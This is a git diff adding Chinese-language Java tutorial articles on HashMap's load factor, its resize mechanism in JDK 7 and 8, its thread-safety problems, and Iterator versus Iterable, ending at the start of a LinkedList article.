+- 数组的容量过小,经过哈希计算后的下标,容易出现冲突;
+- 数组的容量过大,导致空间利用率不高。
+
+加载因子是用来表示 HashMap 中数据的填满程度:
+
+>加载因子 = 填入哈希表中的数据个数 / 哈希表的长度
+
+这就意味着:
+
+- 加载因子越小,填满的数据就越少,哈希冲突的几率就减少了,但浪费了空间,而且还会提高扩容的触发几率;
+- 加载因子越大,填满的数据就越多,空间利用率就高,但哈希冲突的几率就变大了。
+
+好难!!!!
+
+这就必须在“**哈希冲突**”与“**空间利用率**”两者之间有所取舍,尽量保持平衡,谁也不碍着谁。
+
+我们知道,HashMap 是通过拉链法来解决哈希冲突的。
+
+为了减少哈希冲突发生的概率,当 HashMap 的数组长度达到一个**临界值**的时候,就会触发扩容(可以点击[链接](https://mp.weixin.qq.com/s/0KSpdBJMfXSVH63XadVdmw)查看 HashMap 的扩容机制),扩容后会将之前小数组中的元素转移到大数组中,这是一个相当耗时的操作。
+
+这个临界值由什么来确定呢?
+
+>临界值 = 初始容量 * 加载因子
+
+一开始,HashMap 的容量是 16:
+
+```java
+static final int DEFAULT_INITIAL_CAPACITY = 1 << 4; // aka 16
+```
+
+加载因子是 0.75:
+
+```java
+static final float DEFAULT_LOAD_FACTOR = 0.75f;
+```
+
+也就是说,当 16*0.75=12 时,会触发扩容机制。
+
+为什么加载因子会选择 0.75 呢?为什么不是0.8、0.6呢?
+
+这跟统计学里的一个很重要的原理——泊松分布有关。
+
+是时候上维基百科了:
+
+>泊松分布,是一种统计与概率学里常见到的离散概率分布,由法国数学家西莫恩·德尼·泊松在1838年时提出。它会对随机事件的发生次数进行建模,适用于涉及计算在给定的时间段、距离、面积等范围内发生随机事件的次数的应用情形。
+
+阮一峰老师曾在一篇博文中详细的介绍了泊松分布和指数分布,大家可以去看一下。
+
+>链接:https://www.ruanyifeng.com/blog/2015/06/poisson-distribution.html
+
+具体是用这么一个公式来表示的。
+
+
+
+等号的左边,P 表示概率,N表示某种函数关系,t 表示时间,n 表示数量。
+
+在 HashMap 的 doc 文档里,曾有这么一段描述:
+
+```
+Because TreeNodes are about twice the size of regular nodes, we
+use them only when bins contain enough nodes to warrant use
+(see TREEIFY_THRESHOLD). And when they become too small (due to
+removal or resizing) they are converted back to plain bins. In
+usages with well-distributed user hashCodes, tree bins are
+rarely used. Ideally, under random hashCodes, the frequency of
+nodes in bins follows a Poisson distribution
+(http://en.wikipedia.org/wiki/Poisson_distribution) with a
+parameter of about 0.5 on average for the default resizing
+threshold of 0.75, although with a large variance because of
+resizing granularity. Ignoring variance, the expected
+occurrences of list size k are (exp(-0.5) * pow(0.5, k) /
+factorial(k)). The first values are:
+0: 0.60653066
+1: 0.30326533
+2: 0.07581633
+3: 0.01263606
+4: 0.00157952
+5: 0.00015795
+6: 0.00001316
+7: 0.00000094
+8: 0.00000006
+more: less than 1 in ten million
+```
+
+大致的意思就是:
+
+因为 TreeNode(红黑树)的大小约为链表节点的两倍,所以我们只有在一个拉链已经拉了足够节点的时候才会转为tree(参考TREEIFY_THRESHOLD)。并且,当这个hash桶的节点因为移除或者扩容后resize数量变小的时候,我们会将树再转为拉链。如果一个用户的数据的hashcode值分布得很均匀的话,就会很少使用到红黑树。
+
+理想情况下,我们使用随机的hashcode值,加载因子为0.75情况,尽管由于粒度调整会产生较大的方差,节点的分布频率仍然会服从参数为0.5的泊松分布。链表的长度为 8 发生的概率仅有 0.00000006。
+
+虽然这段话的本意更多的是表示 jdk 8中为什么拉链长度超过8的时候进行了红黑树转换,但提到了 0.75 这个加载因子——但这并不是为什么加载因子是 0.75 的答案。
+
+为了搞清楚到底为什么,我看到了这篇文章:
+
+>参考链接:https://segmentfault.com/a/1190000023308658
+
+里面提到了一个概念:**二项分布**(二哥概率论没学好,只能简单说一说)。
+
+在做一件事情的时候,其结果的概率只有2种情况,和抛硬币一样,不是正面就是反面。
+
+为此,我们做了 N 次实验,那么在每次试验中只有两种可能的结果,并且每次实验是独立的,不同实验之间互不影响,每次实验成功的概率都是一样的。
+
+以此理论为基础,我们来做这样的实验:我们往哈希表中扔数据,如果发生哈希冲突就为失败,否则为成功。
+
+我们可以设想,实验的hash值是随机的,并且经过hash运算的键都会映射到hash表的地址空间上,那么这个结果也是随机的。所以,每次put的时候就相当于我们在扔一个16面(我们先假设默认长度为16)的骰子,扔骰子实验那肯定是相互独立的。碰撞发生即扔了n次有出现重复数字。
+
+然后,我们的目的是啥呢?
+
+就是掷了k次骰子,没有一次是相同的概率,需要尽可能的大些,一般意义上我们肯定要大于0.5(这个数是个理想数,但是我是能接受的)。
+
+于是,n次事件里面,碰撞为0的概率,由上面公式得:
+
+
+
+这个概率值需要大于0.5,我们认为这样的hashmap可以提供很低的碰撞率。所以:
+
+
+
+这时候,我们对于该公式其实最想求的时候长度s的时候,n为多少次就应该进行扩容了?而负载因子则是$n/s$的值。所以推导如下:
+
+
+
+所以可以得到
+
+
+
+其中
+
+
+
+这就是一个求 `∞⋅0`函数极限问题,这里我们先令$s = m+1(m \to \infty)$则转化为
+
+
+
+我们再令 $x = \frac{1}{m} (x \to 0)$ 则有,
+
+
+
+所以,
+
+
+
+
+考虑到 HashMap的容量有一个要求:它必须是2的n 次幂(这个[之前的文章](https://mp.weixin.qq.com/s/aS2dg4Dj1Efwujmv-6YTBg)讲过了,点击链接回去可以再温故一下)。当加载因子选择了0.75就可以保证它与容量的乘积为整数。
+
+```
+16*0.75=12
+32*0.75=24
+```
+
+除了 0.75,0.5~1 之间还有 0.625(5/8)、0.875(7/8)可选,从中位数的角度,挑 0.75 比较完美。另外,维基百科上说,拉链法(解决哈希冲突的一种)的加载因子最好限制在 0.7-0.8以下,超过0.8,查表时的CPU缓存不命中(cache missing)会按照指数曲线上升。
+
+综上,0.75 是个比较完美的选择。
+
diff --git a/docs/collection/hashmap-resize.md b/docs/collection/hashmap-resize.md
new file mode 100644
index 0000000000..55ecfc3f13
--- /dev/null
+++ b/docs/collection/hashmap-resize.md
@@ -0,0 +1,246 @@
+
+**HashMap 发出的 Warning**:这是《Java 程序员进阶之路》专栏的第 56 篇。那天,小二垂头丧气地跑来给我诉苦,“老王,有个学弟小默问我‘ HashMap 的扩容机制’,我愣是支支吾吾讲了半天,没给他讲明白,讲到最后我内心都是崩溃的,差点哭出声!”
+
+我安慰了小二好一会,他激动的情绪才稳定下来。我给他说,HashMap 的扩容机制本来就很难理解,尤其是 JDK8 新增了红黑树之后。先基于 JDK7 讲,再把红黑树那块加上去就会容易理解很多。
+
+小二这才恍然大悟,佩服地点了点头。
+
+**HashMap 发出的呼声**:有 GitHub 账号的小伙伴记得去安排一波 star 呀,《Java 程序员进阶之路》开源教程目前在 GitHub 上有 244 个 star 了,准备冲 1000 了,求求各位了。
+
+>GitHub 地址:https://github.com/itwanger/toBeBetterJavaer
+>在线阅读地址:https://itwanger.gitee.io/tobebetterjavaer
+
+-------
+
+大家都知道,数组一旦初始化后大小就无法改变了,所以就有了 [ArrayList](https://mp.weixin.qq.com/s/7puyi1PSbkFEIAz5zbNKxA)这种“动态数组”,可以自动扩容。
+
+HashMap 的底层用的也是数组。向 HashMap 里不停地添加元素,当数组无法装载更多元素时,就需要对数组进行扩容,以便装入更多的元素。
+
+当然了,数组是无法自动扩容的,所以如果要扩容的话,就需要新建一个大的数组,然后把小数组的元素复制过去。
+
+HashMap 的扩容是通过 resize 方法来实现的,JDK 8 中融入了红黑树,比较复杂,为了便于理解,就还使用 JDK 7 的源码,搞清楚了 JDK 7 的,我们后面再详细说明 JDK 8 和 JDK 7 之间的区别。
+
+resize 方法的源码:
+
+```java
+// newCapacity为新的容量
+void resize(int newCapacity) {
+ // 小数组,临时过度下
+ Entry[] oldTable = table;
+ // 扩容前的容量
+ int oldCapacity = oldTable.length;
+ // MAXIMUM_CAPACITY 为最大容量,2 的 30 次方 = 1<<30
+ if (oldCapacity == MAXIMUM_CAPACITY) {
+ // 容量调整为 Integer 的最大值 0x7fffffff(十六进制)=2 的 31 次方-1
+ threshold = Integer.MAX_VALUE;
+ return;
+ }
+
+ // 初始化一个新的数组(大容量)
+ Entry[] newTable = new Entry[newCapacity];
+ // 把小数组的元素转移到大数组中
+ transfer(newTable, initHashSeedAsNeeded(newCapacity));
+ // 引用新的大数组
+ table = newTable;
+ // 重新计算阈值
+ threshold = (int)Math.min(newCapacity * loadFactor, MAXIMUM_CAPACITY + 1);
+}
+```
+
+代码注释里出现了左移(`<<`),这里简单介绍一下:
+
+```
+a=39
+b = a << 2
+```
+
+十进制 39 用 8 位的二进制来表示,就是 00100111,左移两位后是 10011100(低位用 0 补上),再转成十进制数就是 156。
+
+移位运算通常可以用来代替乘法运算和除法运算。例如,将 0010011(39)左移两位就是 10011100(156),刚好变成了原来的 4 倍。
+
+实际上呢,二进制数左移后会变成原来的 2 倍、4 倍、8 倍。
+
+transfer 方法用来转移,将小数组的元素拷贝到新的数组中。
+
+```java
+void transfer(Entry[] newTable, boolean rehash) {
+ // 新的容量
+ int newCapacity = newTable.length;
+ // 遍历小数组
+ for (Entry e : table) {
+ while(null != e) {
+ // 拉链法,相同 key 上的不同值
+ Entry next = e.next;
+ // 是否需要重新计算 hash
+ if (rehash) {
+ e.hash = null == e.key ? 0 : hash(e.key);
+ }
+ // 根据大数组的容量,和键的 hash 计算元素在数组中的下标
+ int i = indexFor(e.hash, newCapacity);
+
+ // 同一位置上的新元素被放在链表的头部
+ e.next = newTable[i];
+
+ // 放在新的数组上
+ newTable[i] = e;
+
+ // 链表上的下一个元素
+ e = next;
+ }
+ }
+}
+```
+
+`e.next = newTable[i]`,也就是使用了单链表的头插入方式,同一位置上新元素总会被放在链表的头部位置;这样先放在一个索引上的元素终会被放到链表的尾部(如果发生了hash冲突的话),这一点和 JDK 8 有区别。
+
+**在旧数组中同一个链表上的元素,通过重新计算索引位置后,有可能被放到了新数组的不同位置上**(仔细看下面的内容,会解释清楚这一点)。
+
+假设 hash 算法([之前的章节有讲到](https://mp.weixin.qq.com/s/aS2dg4Dj1Efwujmv-6YTBg),点击链接再温故一下)就是简单的用键的哈希值(一个 int 值)和数组大小取模(也就是 hashCode % table.length)。
+
+继续假设:
+
+- 数组 table 的长度为 2
+- 键的哈希值为 3、7、5
+
+取模运算后,哈希冲突都到 table[1] 上了,因为余数为 1。那么扩容前的样子如下图所示。
+
+
+
+小数组的容量为 2, key 3、7、5 都在 table[1] 的链表上。
+
+假设负载因子 loadFactor 为 1,也就是当元素的实际大小大于 table 的实际大小时进行扩容。
+
+扩容后的大数组的容量为 4。
+
+- key 3 取模(3%4)后是 3,放在 table[3] 上。
+- key 7 取模(7%4)后是 3,放在 table[3] 上的链表头部。
+- key 5 取模(5%4)后是 1,放在 table[1] 上。
+
+
+
+按照我们的预期,扩容后的 7 仍然应该在 3 这条链表的后面,但实际上呢? 7 跑到 3 这条链表的头部了。针对 JDK 7 中的这个情况,JDK 8 做了哪些优化呢?
+
+看下面这张图。
+
+
+
+n 为 table 的长度,默认值为 16。
+
+- n-1 也就是二进制的 0000 1111(1X$2^0$+1X$2^1$+1X$2^2$+1X$2^3$=1+2+4+8=15);
+- key1 哈希值的最后 8 位为 0000 0101
+- key2 哈希值的最后 8 位为 0001 0101(和 key1 不同)
+- 做与运算后发生了哈希冲突,索引都在(0000 0101)上。
+
+扩容后为 32。
+
+- n-1 也就是二进制的 0001 1111(1X$2^0$+1X$2^1$+1X$2^2$+1X$2^3$+1X$2^4$=1+2+4+8+16=31),扩容前是 0000 1111。
+- key1 哈希值的低位为 0000 0101
+- key2 哈希值的低位为 0001 0101(和 key1 不同)
+- key1 做与运算后,索引为 0000 0101。
+- key2 做与运算后,索引为 0001 0101。
+
+新的索引就会发生这样的变化:
+
+- 原来的索引是 5(*0* 0101)
+- 原来的容量是 16
+- 扩容后的容量是 32
+- 扩容后的索引是 21(*1* 0101),也就是 5+16,也就是原来的索引+原来的容量
+
+
+
+
+也就是说,JDK 8 不需要像 JDK 7 那样重新计算 hash,只需要看原来的hash值新增的那个bit是1还是0就好了,是0的话就表示索引没变,是1的话,索引就变成了“原索引+原来的容量”。
+
+
+
+JDK 8 的这个设计非常巧妙,既省去了重新计算hash的时间,同时,由于新增的1 bit是0还是1是随机的,因此扩容的过程,可以均匀地把之前的节点分散到新的位置上。
+
+ woc,只能说 HashMap 的作者 Doug Lea、Josh Bloch、Arthur van Hoff、Neal Gafter 真的强——的一笔。
+
+JDK 8 扩容的源代码:
+
+```java
+final Node[] resize() {
+ Node[] oldTab = table;
+ int oldCap = (oldTab == null) ? 0 : oldTab.length;
+ int oldThr = threshold;
+ int newCap, newThr = 0;
+ if (oldCap > 0) {
+ // 超过最大值就不再扩充了,就只好随你碰撞去吧
+ if (oldCap >= MAXIMUM_CAPACITY) {
+ threshold = Integer.MAX_VALUE;
+ return oldTab;
+ }
+ // 没超过最大值,就扩充为原来的2倍
+ else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
+ oldCap >= DEFAULT_INITIAL_CAPACITY)
+ newThr = oldThr << 1; // double threshold
+ }
+ else if (oldThr > 0) // initial capacity was placed in threshold
+ newCap = oldThr;
+ else { // zero initial threshold signifies using defaults
+ newCap = DEFAULT_INITIAL_CAPACITY;
+ newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);
+ }
+ // 计算新的resize上限
+ if (newThr == 0) {
+ float ft = (float)newCap * loadFactor;
+ newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ?
+ (int)ft : Integer.MAX_VALUE);
+ }
+ threshold = newThr;
+ @SuppressWarnings({"rawtypes","unchecked"})
+ Node[] newTab = (Node[])new Node[newCap];
+ table = newTab;
+ if (oldTab != null) {
+ // 小数组复制到大数组
+ for (int j = 0; j < oldCap; ++j) {
+ Node e;
+ if ((e = oldTab[j]) != null) {
+ oldTab[j] = null;
+ if (e.next == null)
+ newTab[e.hash & (newCap - 1)] = e;
+ else if (e instanceof TreeNode)
+ ((TreeNode)e).split(this, newTab, j, oldCap);
+ else { // preserve order
+ // 链表优化重 hash 的代码块
+ Node loHead = null, loTail = null;
+ Node hiHead = null, hiTail = null;
+ Node next;
+ do {
+ next = e.next;
+ if ((e.hash & oldCap) == 0) {
+ if (loTail == null)
+ loHead = e;
+ else
+ loTail.next = e;
+ loTail = e;
+ }
+ else {
+ if (hiTail == null)
+ hiHead = e;
+ else
+ hiTail.next = e;
+ hiTail = e;
+ }
+ } while ((e = next) != null);
+ // 原来的索引
+ if (loTail != null) {
+ loTail.next = null;
+ newTab[j] = loHead;
+ }
+ // 索引+原来的容量
+ if (hiTail != null) {
+ hiTail.next = null;
+ newTab[j + oldCap] = hiHead;
+ }
+ }
+ }
+ }
+ }
+ return newTab;
+}
+```
+
+>参考链接:https://zhuanlan.zhihu.com/p/21673805
+
diff --git a/docs/collection/hashmap-thread-nosafe.md b/docs/collection/hashmap-thread-nosafe.md
new file mode 100644
index 0000000000..b2df9a19b2
--- /dev/null
+++ b/docs/collection/hashmap-thread-nosafe.md
@@ -0,0 +1,244 @@
+
+三方面原因:多线程下扩容会死循环、多线程下 put 会导致元素丢失、put 和 get 并发时会导致 get 到 null,我们来一一分析。
+
+### 01、多线程下扩容会死循环
+
+众所周知,HashMap 是通过拉链法来解决哈希冲突的,也就是当哈希冲突时,会将相同哈希值的键值对通过链表的形式存放起来。
+
+JDK 7 时,采用的是头部插入的方式来存放链表的,也就是下一个冲突的键值对会放在上一个键值对的前面(同一位置上的新元素被放在链表的头部)。扩容的时候就有可能导致出现环形链表,造成死循环。
+
+resize 方法的源码:
+
+```java
+// newCapacity为新的容量
+void resize(int newCapacity) {
+ // 小数组,临时过度下
+ Entry[] oldTable = table;
+ // 扩容前的容量
+ int oldCapacity = oldTable.length;
+ // MAXIMUM_CAPACITY 为最大容量,2 的 30 次方 = 1<<30
+ if (oldCapacity == MAXIMUM_CAPACITY) {
+ // 容量调整为 Integer 的最大值 0x7fffffff(十六进制)=2 的 31 次方-1
+ threshold = Integer.MAX_VALUE;
+ return;
+ }
+
+ // 初始化一个新的数组(大容量)
+ Entry[] newTable = new Entry[newCapacity];
+ // 把小数组的元素转移到大数组中
+ transfer(newTable, initHashSeedAsNeeded(newCapacity));
+ // 引用新的大数组
+ table = newTable;
+ // 重新计算阈值
+ threshold = (int)Math.min(newCapacity * loadFactor, MAXIMUM_CAPACITY + 1);
+}
+```
+
+transfer 方法用来转移,将小数组的元素拷贝到新的数组中。
+
+```java
+void transfer(Entry[] newTable, boolean rehash) {
+ // 新的容量
+ int newCapacity = newTable.length;
+ // 遍历小数组
+ for (Entry e : table) {
+ while(null != e) {
+ // 拉链法,相同 key 上的不同值
+ Entry next = e.next;
+ // 是否需要重新计算 hash
+ if (rehash) {
+ e.hash = null == e.key ? 0 : hash(e.key);
+ }
+ // 根据大数组的容量,和键的 hash 计算元素在数组中的下标
+ int i = indexFor(e.hash, newCapacity);
+
+ // 同一位置上的新元素被放在链表的头部
+ e.next = newTable[i];
+
+ // 放在新的数组上
+ newTable[i] = e;
+
+ // 链表上的下一个元素
+ e = next;
+ }
+ }
+}
+```
+
+注意 `e.next = newTable[i]` 和 `newTable[i] = e` 这两行代码,就会将同一位置上的新元素被放在链表的头部。
+
+扩容前的样子假如是下面这样子。
+
+
+
+那么正常扩容后就是下面这样子。
+
+
+
+假设现在有两个线程同时进行扩容,线程 A 在执行到 `newTable[i] = e;` 被挂起,此时线程 A 中:e=3、next=7、e.next=null
+
+
+
+
+线程 B 开始执行,并且完成了数据转移。
+
+
+
+
+此时,7 的 next 为 3,3 的 next 为 null。
+
+随后线程A获得CPU时间片继续执行 `newTable[i] = e`,将3放入新数组对应的位置,执行完此轮循环后线程A的情况如下:
+
+
+
+执行下一轮循环,此时 e=7,原本线程 A 中 7 的 next 为 5,但由于 table 是线程 A 和线程 B 共享的,而线程 B 顺利执行完后,7 的 next 变成了 3,那么此时线程 A 中,7 的 next 也为 3 了。
+
+采用头部插入的方式,变成了下面这样子:
+
+
+
+好像也没什么问题,此时 next = 3,e = 3。
+
+进行下一轮循环,但此时,由于线程 B 将 3 的 next 变为了 null,所以此轮循环应该是最后一轮了。
+
+接下来当执行完 `e.next=newTable[i]` 即 3.next=7 后,3 和 7 之间就相互链接了,执行完 `newTable[i]=e` 后,3 被头插法重新插入到链表中,执行结果如下图所示:
+
+
+
+套娃开始,元素 5 也就成了弃婴,惨~~~
+
+不过,JDK 8 时已经修复了这个问题,扩容时会保持链表原来的顺序,参照[HashMap 扩容机制](https://mp.weixin.qq.com/s/0KSpdBJMfXSVH63XadVdmw)的这一篇。
+
+### 02、多线程下 put 会导致元素丢失
+
+正常情况下,当发生哈希冲突时,HashMap 是这样的:
+
+
+
+但多线程同时执行 put 操作时,如果计算出来的索引位置是相同的,那会造成前一个 key 被后一个 key 覆盖,从而导致元素的丢失。
+
+put 的源码:
+
+```java
+final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
+ boolean evict) {
+ Node[] tab; Node p; int n, i;
+
+ // 步骤①:tab为空则创建
+ if ((tab = table) == null || (n = tab.length) == 0)
+ n = (tab = resize()).length;
+
+ // 步骤②:计算index,并对null做处理
+ if ((p = tab[i = (n - 1) & hash]) == null)
+ tab[i] = newNode(hash, key, value, null);
+ else {
+ Node e; K k;
+
+ // 步骤③:节点key存在,直接覆盖value
+ if (p.hash == hash &&
+ ((k = p.key) == key || (key != null && key.equals(k))))
+ e = p;
+
+ // 步骤④:判断该链为红黑树
+ else if (p instanceof TreeNode)
+ e = ((TreeNode)p).putTreeVal(this, tab, hash, key, value);
+
+ // 步骤⑤:该链为链表
+ else {
+ for (int binCount = 0; ; ++binCount) {
+ if ((e = p.next) == null) {
+ p.next = newNode(hash, key, value, null);
+
+ //链表长度大于8转换为红黑树进行处理
+ if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
+ treeifyBin(tab, hash);
+ break;
+ }
+
+ // key已经存在直接覆盖value
+ if (e.hash == hash &&
+ ((k = e.key) == key || (key != null && key.equals(k))))
+ break;
+ p = e;
+ }
+ }
+
+ // 步骤⑥、直接覆盖
+ if (e != null) { // existing mapping for key
+ V oldValue = e.value;
+ if (!onlyIfAbsent || oldValue == null)
+ e.value = value;
+ afterNodeAccess(e);
+ return oldValue;
+ }
+ }
+ ++modCount;
+
+ // 步骤⑦:超过最大容量 就扩容
+ if (++size > threshold)
+ resize();
+ afterNodeInsertion(evict);
+ return null;
+}
+```
+
+问题发生在步骤 ② 这里:
+
+```java
+if ((p = tab[i = (n - 1) & hash]) == null)
+ tab[i] = newNode(hash, key, value, null);
+```
+
+两个线程都执行了 if 语句,假设线程 A 先执行了 ` tab[i] = newNode(hash, key, value, null)`,那 table 是这样的:
+
+
+
+接着,线程 B 执行了 ` tab[i] = newNode(hash, key, value, null)`,那 table 是这样的:
+
+
+
+3 被干掉了。
+
+### 03、put 和 get 并发时会导致 get 到 null
+
+线程 A 执行put时,因为元素个数超出阈值而出现扩容,线程B 此时执行get,有可能导致这个问题。
+
+注意来看 resize 源码:
+
+```java
+final Node[] resize() {
+ Node[] oldTab = table;
+ int oldCap = (oldTab == null) ? 0 : oldTab.length;
+ int oldThr = threshold;
+ int newCap, newThr = 0;
+ if (oldCap > 0) {
+ // 超过最大值就不再扩充了,就只好随你碰撞去吧
+ if (oldCap >= MAXIMUM_CAPACITY) {
+ threshold = Integer.MAX_VALUE;
+ return oldTab;
+ }
+ // 没超过最大值,就扩充为原来的2倍
+ else if ((newCap = oldCap << 1) < MAXIMUM_CAPACITY &&
+ oldCap >= DEFAULT_INITIAL_CAPACITY)
+ newThr = oldThr << 1; // double threshold
+ }
+ else if (oldThr > 0) // initial capacity was placed in threshold
+ newCap = oldThr;
+ else { // zero initial threshold signifies using defaults
+ newCap = DEFAULT_INITIAL_CAPACITY;
+ newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY);
+ }
+ // 计算新的resize上限
+ if (newThr == 0) {
+ float ft = (float)newCap * loadFactor;
+ newThr = (newCap < MAXIMUM_CAPACITY && ft < (float)MAXIMUM_CAPACITY ?
+ (int)ft : Integer.MAX_VALUE);
+ }
+ threshold = newThr;
+ @SuppressWarnings({"rawtypes","unchecked"})
+ Node[] newTab = (Node[])new Node[newCap];
+ table = newTab;
+}
+```
+
+线程 A 执行完 `table = newTab` 之后,线程 B 中的 table 此时也发生了变化,此时去 get 的时候当然会 get 到 null 了,因为元素还没有转移。
\ No newline at end of file
diff --git a/docs/collection/iterator-iterable.md b/docs/collection/iterator-iterable.md
new file mode 100644
index 0000000000..8a3c07ef1b
--- /dev/null
+++ b/docs/collection/iterator-iterable.md
@@ -0,0 +1,240 @@
+
+
+那天,小二去海康威视面试,面试官老王一上来就甩给了他一道面试题:请问 Iterator与Iterable有什么区别?小二差点笑出声,因为一年前,也就是 2021 年,他在《Java 程序员进阶之路》专栏上的第 62 篇看到过这题😆。
+
+*PS:星标这种事,只能求,不求没效果,come on。《Java 程序员进阶之路》在 GitHub 上已经收获了 408 枚星标,小伙伴们赶紧去点点了,冲 500!*
+
+>https://github.com/itwanger/toBeBetterJavaer
+
+-----
+
+在 Java 中,我们对 List 进行遍历的时候,主要有这么三种方式。
+
+第一种:for 循环。
+
+```java
+for (int i = 0; i < list.size(); i++) {
+ System.out.print(list.get(i) + ",");
+}
+```
+
+第二种:迭代器。
+
+```java
+Iterator it = list.iterator();
+while (it.hasNext()) {
+ System.out.print(it.next() + ",");
+}
+```
+
+第三种:for-each。
+
+```java
+for (String str : list) {
+ System.out.print(str + ",");
+}
+```
+
+第一种我们略过,第二种用的是 Iterator,第三种看起来是 for-each,其实背后也是 Iterator,看一下反编译后的代码就明白了。
+
+```java
+Iterator var3 = list.iterator();
+
+while(var3.hasNext()) {
+ String str = (String)var3.next();
+ System.out.print(str + ",");
+}
+```
+
+for-each 只不过是个语法糖,让我们在遍历 List 的时候代码更简洁明了。
+
+Iterator 是个接口,JDK 1.2 的时候就有了,用来改进 Enumeration:
+
+- 允许删除元素(增加了 remove 方法)
+- 优化了方法名(Enumeration 中是 hasMoreElements 和 nextElement,不简洁)
+
+来看一下 Iterator 的源码:
+
+```java
+public interface Iterator {
+ // 判断集合中是否存在下一个对象
+ boolean hasNext();
+ // 返回集合中的下一个对象,并将访问指针移动一位
+ E next();
+ // 删除集合中调用next()方法返回的对象
+ default void remove() {
+ throw new UnsupportedOperationException("remove");
+ }
+}
+```
+
+JDK 1.8 时,Iterable 接口中新增了 forEach 方法:
+
+```java
+default void forEach(Consumer super T> action) {
+ Objects.requireNonNull(action);
+ for (T t : this) {
+ action.accept(t);
+ }
+}
+```
+
+它对 Iterable 的每个元素执行给定操作,具体指定的操作需要自己写Consumer接口通过accept方法回调出来。
+
+```java
+List list = new ArrayList<>(Arrays.asList(1, 2, 3));
+list.forEach(integer -> System.out.println(integer));
+```
+
+写得更浅显易懂点,就是:
+
+```java
+List list = new ArrayList<>(Arrays.asList(1, 2, 3));
+list.forEach(new Consumer() {
+ @Override
+ public void accept(Integer integer) {
+ System.out.println(integer);
+ }
+});
+```
+
+如果我们仔细观察ArrayList 或者 LinkedList 的“户口本”就会发现,并没有直接找到 Iterator 的影子。
+
+
+
+反而找到了 Iterable!
+
+```java
+public interface Iterable {
+ Iterator iterator();
+}
+```
+
+也就是说,List 的关系图谱中并没有直接使用 Iterator,而是使用 Iterable 做了过渡。
+
+回头再来看一下第二种遍历 List 的方式。
+
+```java
+Iterator it = list.iterator();
+while (it.hasNext()) {
+}
+```
+
+发现刚好呼应上了。拿 ArrayList 来说吧,它重写了 Iterable 接口的 iterator 方法:
+
+```java
+public Iterator iterator() {
+ return new Itr();
+}
+```
+
+返回的对象 Itr 是个内部类,实现了 Iterator 接口,并且按照自己的方式重写了 hasNext、next、remove 等方法。
+
+```java
+private class Itr implements Iterator {
+
+ public boolean hasNext() {
+ return cursor != size;
+ }
+
+ @SuppressWarnings("unchecked")
+ public E next() {
+ Object[] elementData = ArrayList.this.elementData;
+ cursor = i + 1;
+ return (E) elementData[lastRet = i];
+ }
+
+ public void remove() {
+ try {
+ ArrayList.this.remove(lastRet);
+ cursor = lastRet;
+ lastRet = -1;
+ expectedModCount = modCount;
+ } catch (IndexOutOfBoundsException ex) {
+ throw new ConcurrentModificationException();
+ }
+ }
+
+}
+```
+
+那可能有些小伙伴会问:为什么不直接将 Iterator 中的核心方法 hasNext、next 放到 Iterable 接口中呢?直接像下面这样使用不是更方便?
+
+```java
+Iterable it = list.iterator();
+while (it.hasNext()) {
+}
+```
+
+从英文单词的后缀语法上来看,(Iterable)able 表示这个 List 是支持迭代的,而 (Iterator)tor 表示这个 List 是如何迭代的。
+
+支持迭代与具体怎么迭代显然不能混在一起,否则就乱的一笔。还是各司其职的好。
+
+想一下,如果把 Iterator 和 Iterable 合并,for-each 这种遍历 List 的方式是不是就不好办了?
+
+原则上,只要一个 List 实现了 Iterable 接口,那么它就可以使用 for-each 这种方式来遍历,那具体该怎么遍历,还是要看它自己是怎么实现 Iterator 接口的。
+
+Map 就没办法直接使用 for-each,因为 Map 没有实现 Iterable 接口,只有通过 `map.entrySet()`、`map.keySet()`、`map.values()` 这种返回一个 Collection 的方式才能 使用 for-each。
+
+如果我们仔细研究 LinkedList 的源码就会发现,LinkedList 并没有直接重写 Iterable 接口的 iterator 方法,而是由它的父类 AbstractSequentialList 来完成。
+
+```java
+public Iterator iterator() {
+ return listIterator();
+}
+```
+
+LinkedList 重写了 listIterator 方法:
+
+```java
+public ListIterator listIterator(int index) {
+ checkPositionIndex(index);
+ return new ListItr(index);
+}
+```
+
+这里我们发现了一个新的迭代器 ListIterator,它继承了 Iterator 接口,在遍历List 时可以从任意下标开始遍历,而且支持双向遍历。
+
+```java
+public interface ListIterator extends Iterator {
+ boolean hasNext();
+ E next();
+ boolean hasPrevious();
+ E previous();
+}
+```
+
+我们知道,集合(Collection)不仅有 List,还有 Map 和 Set,那 Iterator 不仅支持 List,还支持 Set,但 ListIterator 就只支持 List。
+
+那可能有些小伙伴会问:为什么不直接让 List 实现 Iterator 接口,而是要用内部类来实现呢?
+
+这是因为有些 List 可能会有多种遍历方式,比如说 LinkedList,除了支持正序的遍历方式,还支持逆序的遍历方式——DescendingIterator:
+
+```java
+private class DescendingIterator implements Iterator {
+ private final ListItr itr = new ListItr(size());
+ public boolean hasNext() {
+ return itr.hasPrevious();
+ }
+ public E next() {
+ return itr.previous();
+ }
+ public void remove() {
+ itr.remove();
+ }
+}
+```
+
+可以看得到,DescendingIterator 刚好利用了 ListIterator 向前遍历的方式。可以通过以下的方式来使用:
+
+```java
+Iterator it = list.descendingIterator();
+while (it.hasNext()) {
+}
+```
+-----
+
+好了,关于Iterator与Iterable我们就先聊这么多,总结两点:
+
+- 学会深入思考,一点点抽丝剥茧,多想想为什么这样实现,很多问题没有自己想象中的那么复杂。
+- 遇到疑惑不放弃,这是提升自己最好的机会,遇到某个疑难的点,解决的过程中会挖掘出很多相关的东西。
\ No newline at end of file
diff --git a/docs/collection/linkedlist.md b/docs/collection/linkedlist.md
new file mode 100644
index 0000000000..47524fbe5b
--- /dev/null
+++ b/docs/collection/linkedlist.md
@@ -0,0 +1,377 @@
+
+
+### 一、LinkedList 的剖白
+
+大家好,我是 LinkedList,和 ArrayList 是同门师兄弟,但我俩练的内功却完全不同。师兄练的是动态数组,我练的是链表。
+
+问大家一个问题,知道我为什么要练链表这门内功吗?
+
+举个例子来讲吧,假如你们手头要管理一推票据,可能有一张,也可能有一亿张。
+
+该怎么办呢?
+
+申请一个 10G 的大数组等着?那万一票据只有 100 张呢?
+
+申请一个默认大小的数组,随着数据量的增大扩容?要知道扩容是需要重新复制数组的,很耗时间。
+
